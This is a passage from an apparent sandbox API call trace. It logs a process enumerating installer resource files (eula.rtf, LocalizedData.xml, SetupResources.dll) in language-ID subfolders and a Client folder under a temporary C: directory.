ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.355] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.355] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.355] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0063.355] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.355] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0063.355] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.355] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582d48 [0063.356] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.356] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.356] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.356] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.356] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.356] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0063.356] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.356] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0063.356] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.356] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582d48 [0063.356] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.356] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.357] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.357] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.357] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.357] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0063.357] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.357] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0063.357] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.357] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582c88 [0063.357] FindNextFileW (in: hFindFile=0x582c88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.357] FindNextFileW (in: hFindFile=0x582c88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.358] FindNextFileW (in: hFindFile=0x582c88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.358] FindNextFileW (in: hFindFile=0x582c88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.358] FindNextFileW (in: hFindFile=0x582c88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.358] FindClose (in: hFindFile=0x582c88 | out: hFindFile=0x582c88) returned 1 [0063.358] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.358] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0063.358] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.358] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583248 [0063.358] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.358] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.358] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.359] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.359] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.359] FindClose (in: hFindFile=0x583248 | out: hFindFile=0x583248) returned 1 [0063.359] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.359] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0063.359] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.359] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582d08 [0063.360] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.360] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.360] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.360] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.360] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.360] FindClose (in: hFindFile=0x582d08 | out: hFindFile=0x582d08) returned 1 [0063.360] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.360] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0063.360] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.360] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582f88 [0063.361] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.361] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0063.361] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0063.361] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0063.361] FindClose (in: hFindFile=0x582f88 | out: hFindFile=0x582f88) returned 1 [0063.361] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 